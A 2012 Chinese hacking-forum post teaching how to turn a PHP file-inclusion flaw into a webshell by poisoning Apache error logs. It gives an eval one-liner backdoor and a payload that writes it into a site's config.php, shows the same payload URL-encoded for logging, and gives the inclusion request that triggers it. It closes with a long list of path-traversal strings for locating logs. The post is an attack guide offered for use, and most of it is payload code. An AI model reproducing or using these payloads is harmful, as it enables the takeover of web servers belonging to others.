找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2116|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
, L# J0 a7 c# E4 K# l+ u& w
1 D2 D9 H" I; ?6 {5 ~- Z4 [: @* ^比如还是这句一句话木马
2 Q0 v# E& m* C; V8 {<?eval($_POST[cmd]);?>   
4 n! @+ q7 w. d; n/ h' i1 l: o6 K8 B+ k8 I1 G
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
( ?: E4 x$ d5 y9 Z/ Pfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
4 x- \& o3 ~  ^! i
. W% `( l- s, d  Z+ b<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
& z- j" U; H1 f$ e1 ifclose($fp);?>   //在config.php里写入一句木马语句
) x- j4 V$ _1 d+ a8 S3 `( I8 f9 P6 ~! }
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 $ U- }2 a+ O- J, ^7 ]2 z4 w6 G& F
转换为
% o, m" t; x- V: ?6 `3 ]%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
' i" f6 X5 s- L' z0 [( @; i2 R% Cconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 0 w2 x% O5 ?! N+ g! [6 f6 z( o( }
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
( v& u1 g) L% O. ffclose%28%24fp%29%3B%3F%3E ) Y/ g7 m9 ]& Y' ?  S
我们提交
3 }( u. ]3 X& Q6 l0 Shttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
7 g5 @' @- O2 j, I%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
/ J* F/ }6 u( Y: y' k$ W5 c%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
( B7 x1 _. p  r/ ]/ U+ u+ dcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E # b# r0 n! _) l5 H6 I+ s
  H! N) G# r4 l. P! C
这样就错误日志里就记录下了这行写入webshell的代码。 ! q$ s# T! q0 C8 H, ^0 D% Q
我们再来包含日志,提交 1 ?/ o8 a( E" G* t- p  t
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log , ?6 x9 K5 u1 G0 d& P1 q4 U- b; t

3 J# a6 V9 S' I6 e* Y这样webshell就写入成功了,config.php里就写入一句木马语句
2 q" C+ I8 F/ Y; sOK. 6 h& X! J2 h! K, r+ i5 h
http://www.xxx.com/forum/config.php这个就成了我们的webshell , W7 t  `9 n2 @% `2 i$ ~
直接用lanker的客户端一连,主机就是你的了。 ) ~# G5 y8 a. z5 {4 `

3 b0 v, S* [; `: e5 ^; rPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
& s; }3 W( r" i0 B4 `
( G+ A% {2 w' }) Y( P1 E其他的日志路径,你可以去猜,也可以参照这里。
) g- s( w  {1 t$ c& H2 J1 |../../../../../../../../../../var/log/httpd/access_log % C% h$ F- V) q; h
../../../../../../../../../../var/log/httpd/error_log : G8 {. V- Z) b3 s, A8 a" B3 S
../apache/logs/error.log 0 S# L4 V5 J# {2 o6 g' k# M5 `
../apache/logs/access.log
9 X& S& G- b% J& \. C* L  u! H../../apache/logs/error.log
3 f5 _5 I& ?# t; ?../../apache/logs/access.log
9 ?$ D; J5 }+ {( L0 ?9 ^../../../apache/logs/error.log - n8 w) }2 u, ]
../../../apache/logs/access.log ) f; \. G6 q) J% W- G4 k
../../../../../../../../../../etc/httpd/logs/acces_log
, f3 e  v8 S9 J  E& e6 i../../../../../../../../../../etc/httpd/logs/acces.log
+ b/ ~! L5 C& Q$ z' |- e/ i/ X  \' x../../../../../../../../../../etc/httpd/logs/error_log
5 A8 i/ N% _$ R* X  a+ }../../../../../../../../../../etc/httpd/logs/error.log % L. e( u1 o; Q" ~
../../../../../../../../../../var/www/logs/access_log
. _& G2 o% U2 L../../../../../../../../../../var/www/logs/access.log ; {# w8 u  q+ g; o/ o+ N: I
../../../../../../../../../../usr/local/apache/logs/access_log
, h$ d! ^+ n4 _../../../../../../../../../../usr/local/apache/logs/access.log
8 {; U8 ^' y+ C: q' d# S# u- t  M../../../../../../../../../../var/log/apache/access_log 1 M" L4 O8 U# Q, h+ C  @$ i
../../../../../../../../../../var/log/apache/access.log
, P7 u0 u4 |" g2 _: z9 `3 u../../../../../../../../../../var/log/access_log 0 E, j, r! {& |* ?, _1 ]4 A+ H$ u$ [* A
../../../../../../../../../../var/www/logs/error_log ) \( Y; B  t4 x" c% e. q8 n
../../../../../../../../../../var/www/logs/error.log ; p. [; h: x0 A' w
../../../../../../../../../../usr/local/apache/logs/error_log
( |$ n' s0 {6 v4 c& C../../../../../../../../../../usr/local/apache/logs/error.log 3 x3 U4 k2 J) ?. U7 ?2 a1 W
../../../../../../../../../../var/log/apache/error_log
9 F! Y8 V% d  C8 _../../../../../../../../../../var/log/apache/error.log ( Q1 ]" o. v0 Y9 N' f3 @  v  l) T) h
../../../../../../../../../../var/log/access_log
" T1 w7 B6 [( u../../../../../../../../../../var/log/error_log % C/ I- y3 l5 }
/var/log/httpd/access_log      
. V/ Y! i+ \( }$ W5 |6 `. C/var/log/httpd/error_log     
( P* H! p; d) H2 {+ W  x- Y1 X0 j../apache/logs/error.log     
2 N0 q! n* n7 O- \../apache/logs/access.log + a7 u1 D# g0 m, \: R. @: Y
../../apache/logs/error.log & y: @/ q. F$ ^  y; K0 H8 v
../../apache/logs/access.log
) J( Z- h; x- H' k/ `9 b* G3 q../../../apache/logs/error.log 2 r! {! m; T7 ]- ^$ `# B
../../../apache/logs/access.log
% y+ J" u0 e' p; j! T/etc/httpd/logs/acces_log 9 b1 M8 u3 _+ T
/etc/httpd/logs/acces.log
- c6 w+ c6 I! E6 V! R/etc/httpd/logs/error_log
* r" ^. r( @) f4 u/etc/httpd/logs/error.log 0 P. r" c" s: T; \2 h0 j) `
/var/www/logs/access_log
1 a: G5 B8 k( w" L6 L/var/www/logs/access.log 5 R' \, t! W  x5 D1 R9 _% ~) Z
/usr/local/apache/logs/access_log 1 [7 r# }( A0 Y$ q+ P
/usr/local/apache/logs/access.log 6 }' Z: B. {+ d9 \) T( N/ A" z- h
/var/log/apache/access_log
( b6 o0 Q' e$ L/ y0 |, p/var/log/apache/access.log : l# E* b- ~: p2 v, o* K: \8 U
/var/log/access_log + m, v! \. P3 U! B1 s6 s: U
/var/www/logs/error_log
1 D+ h$ v& ?: u/var/www/logs/error.log & I6 `: E# ^$ c. S
/usr/local/apache/logs/error_log * ~, V1 G5 |$ t8 H) }0 _( p0 E$ n0 X
/usr/local/apache/logs/error.log
0 D1 w! {0 a! p0 |3 w$ o/var/log/apache/error_log
. p: E7 o) @+ j1 U/var/log/apache/error.log 6 E$ n7 R  P" D3 H% U
/var/log/access_log
  J: g, k; T" m# D8 z1 Y/ |( F8 g/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表